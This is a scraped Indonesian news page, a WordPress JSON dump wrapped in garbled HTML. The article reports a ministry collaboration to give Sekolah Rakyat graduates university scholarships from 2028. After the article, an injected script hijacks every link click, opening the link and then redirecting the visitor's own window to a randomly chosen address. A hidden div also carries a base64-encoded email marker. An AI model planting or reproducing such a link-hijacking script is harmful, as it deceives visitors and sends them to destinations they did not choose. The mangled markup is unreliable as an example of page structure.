<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p>{"id":1435874,"date":"2025-11-03T21:42:09","date_gmt":"2025-11-03T14:42:09","guid":{"rendered":"https:\/\/beritajatim.com\/?p=1435874"},"modified":"2025-11-03T21:42:09","modified_gmt":"2025-11-03T14:42:09","slug":"kolaborasi-kemensos-kemendiktisaintek-siapkan-beasiswa-lulusan-sekolah-rakyat","status":"publish","type":"post","link":"https:\/\/beritajatim.com\/kolaborasi-kemensos-kemendiktisaintek-siapkan-beasiswa-lulusan-sekolah-rakyat","title":{"rendered":"Kolaborasi Kemensos-Kemendiktisaintek, Siapkan Beasiswa Lulusan Sekolah Rakyat"},"content":{"rendered":"</p><p><strong>Jakarta (beritajatim.com) &ndash;&lt;\/strong&gt; Kementerian Sosial (Kemensos) menjalin kolaborasi dengan Kementerian Pendidikan Tinggi, Sains, dan Teknologi (Kemendiktisaintek) dalam menyiapkan program hilirisasi bagi siswa Sekolah Rakyat agar dapat melanjutkan ke perguruan tinggi setelah lulus.&lt;\/p&gt;\n<p>Menteri Sosial Saifullah Yusuf (Gus Ipul) didampingi Wakil Menteri Sosial Agus Jabo Priyono, Sekretaris Jenderal Robben Rico, dan Kepala Pusdiklatbangprof Hasim, melakukan kunjungan kerja ke kantor Kemendiktisaintek di Jakarta Pusat pada Senin (3\/11\/2025).&lt;\/p&gt;\n</p><p>Kedatangan Gus Ipul disambut oleh Menteri Kemendiktisaintek Brian Yuliarto, Wakil Menteri Fauzan, Sekretaris Jenderal Togar Mangihut Simatupang, serta Staf Ahli Menteri Bidang Penguatan Ekosistem Pendidikan Tinggi Muhamad Hasan Chabibie.&lt;\/p&gt;\n</p><p>Dalam pertemuan tersebut, Gus Ipul menegaskan bahwa hilirisasi menjadi fokus utama sesuai arahan Presiden Prabowo Subianto, agar siswa Sekolah Rakyat memiliki arah yang jelas setelah lulus.&lt;\/p&gt;\n</p><p>\u201cDari 166 titik Sekolah Rakyat rintisan yang sudah berjalan saat ini, untuk jenjang SMA itu sekitar 6.700 siswa yang akan lulus nanti di tahun 2028. Sesuai arahan presiden, dalam rangka hilirisasi, para siswa diberi pilihan oleh ingin lanjut perguruan tinggi atau bekerja,\u201d kata Gus Ipul.&lt;\/p&gt;\n</p><p>Ia menjelaskan, penentuan arah pendidikan siswa dilakukan melalui asesmen minat dan bakat berbasis teknologi DNA Talent oleh Ary Ginanjar. \u201cDari situ kelihatan anak-anak ini mau kemana. Sembari menunggu hasil asesmen final, kita asumsikan saat ini 50 persen siswa Sekolah Rakyat ingin melanjutkan ke perguruan tinggi, 50 persen lagi ingin bekerja,\u201d ungkapnya.&lt;\/p&gt;\n</p><p>Gus Ipul menilai kerja sama dengan Kemendiktisaintek sangat penting untuk menjamin keberlanjutan pendidikan para siswa. \u201cSaat ini kan yang kelas 1 SMA itu, nanti lulus 2028. Siapa tahu alokasi KIP Kuliah nanti bisa didorong untuk di tahun 2028. Nah, ini yang kita perlukan MoU untuk hilirisasi Sekolah Rakyat,\u201d ujarnya.&lt;\/p&gt;\n</p><p>Menanggapi hal itu, Menteri Kemendiktisaintek Brian Yuliarto menyatakan komitmen penuh untuk mendukung inisiatif tersebut.&lt;\/p&gt;\n</p><p>\u201cInsyaAllah Pak, dengan senang hati tentu kalau terkait beasiswa kami akan siapkan, tadi sudah jelas secara kebutuhan dan juga tujuan universitas nanti mungkin bisa saja kami menyampaikan informasi ke adik-adik itu jurusannya apa saja,\u201d ucap Brian.&lt;\/p&gt;\n</p><p>Brian juga menjelaskan bahwa pihaknya memiliki sistem pemetaan potensi siswa yang sejalan dengan konsep DNA Talent. \u201cSebenarnya juga kami juga ada teman-teman di universitas yang memiliki seperti punya Pak Ary Ginanjar DNA Talent itu tapi mungkin arahnya lebih ke arah program studi apa nih yang cocok untuk mempertajam,\u201d katanya.&lt;\/p&gt;\n</p><p>Terkait beasiswa, Brian memastikan tidak ada kendala. \u201cKalaupun nantinya tiap tahun ada pertambahan siswa nanti bisa kita ajukan tambahan. Tidak ada masalah. Karena kan ini prioritas, desil 1 desil 2. Kita memberikan KIP kuliah pun memang itu sasarannya,\u201d tegasnya.&lt;\/p&gt;\n</p><p>Selain itu, Brian mengusulkan agar mahasiswa penerima KIP Kuliah menjadi mentor bagi calon mahasiswa Sekolah Rakyat serta membentuk tim pendampingan agar perguruan tinggi negeri terdekat dapat menugaskan mahasiswanya sebagai pembimbing.&lt;\/p&gt;\n</p><p>\u201cBisa ada model pembinaan awal, seperti mentoring khusus untuk anak-anak calon beasiswa yang bersemangat kuliah. Nanti anak-anak penerima KIP Kuliah kita tugaskan bertindak seperti mentor, supaya mereka kepercayaan dirinya lebih,\u201d ujarnya.&lt;\/p&gt;\n</p><p>Menutup pertemuan, Gus Ipul memastikan bahwa kolaborasi antara Kemensos dan Kemendiktisaintek akan segera diformalkan melalui nota kesepahaman (MoU) dalam waktu dekat. <strong>[tok\/ian]&lt;\/strong&gt;&lt;\/p&gt;\n<p><iframe title='\"Persebaya' bangkit dan taklukkan persis solo edu perez akui masih ada pr taktikal width='\"788\"' height='\"443\"' src="%5C%22https:%5C/%5C/www.youtube.com%5C/embed%5C/JSYhBMXkuyo?feature=oembed%5C%22" frameborder='\"0\"' allow='\"accelerometer;' autoplay clipboard-write encrypted-media gyroscope picture-in-picture web-share referrerpolicy='\"strict-origin-when-cross-origin\"' allowfullscreen>&lt;\/iframe&gt;&lt;\/p&gt;\n","protected":false},"excerpt":{"rendered":"<p>Kemensos dan Kemendiktisaintek berkolaborasi menyiapkan hilirisasi Sekolah Rakyat agar siswa bisa lanjut kuliah lewat KIP mulai tahun 2028.&lt;\/p&gt;\n","protected":false},"author":14,"featured_media":1435875,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[5],"tags":[25056,364252,865,364251,229849,16070,125862,14442,3102,237052],"gn_keywords":[49306,363226,364249,49567,364248,238574,79256,179169,364250,212985,50074,237045],"class_list":["post-1435874","post","type-post","status-publish","format-standard","has-post-thumbnail","category-politik-pemerintahan","tag-beasiswa-mahasiswa","tag-dna-talent","tag-gus-ipul","tag-hilirisasi-pendidikan","tag-kemendiktisaintek","tag-kemensos","tag-kip-kuliah","tag-pendidikan-tinggi","tag-prabowo-subianto","tag-sekolah-rakyat"],"acf":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1435874","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/users\/14"}],"replies":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/comments?post=1435874"}],"version-history":[{"count":0,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1435874\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media\/1435875"}],"wp:attachment":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media?parent=1435874"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/categories?post=1435874"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/tags?post=1435874"},{"taxonomy":"gn_keywords","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/gn_keywords?post=1435874"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}</p></iframe></p></strong></p></strong></p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
